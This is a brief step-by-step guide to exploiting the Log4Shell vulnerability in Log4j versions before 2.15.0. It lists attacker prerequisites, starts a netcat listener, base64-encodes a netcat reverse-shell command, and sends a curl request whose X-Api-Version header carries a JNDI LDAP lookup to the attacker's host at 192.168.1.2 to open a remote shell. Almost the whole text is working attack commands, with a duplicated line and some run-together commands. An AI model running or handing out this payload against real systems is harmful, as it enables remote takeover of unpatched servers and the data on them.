- A vulnerable application that uses a vulnerable version of Log4j (e.g., versions prior to 2.15.0).
- JNDIExploit tool to set up a malicious LDAP server.
- Netcat (nc) installed on the attacker's machine to receive the reverse shell.
On your machine (attacker's machine), run the following command to start a netcat listener
nc -lvnp 4444Wait for the listener to be ready on local port 4444
nc -lvnp 4444Generate the base64 encoded payload for a reverse shell using the following command:
echo 'nc 192.168.1.2 4444 -e /bin/ash' | base64curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.1.2:1389/Basic/Command/Base64/bmMgMTkyLjE2OC4xLjIgNDQ0NCAtZSAvYmluL2FzaAo=}'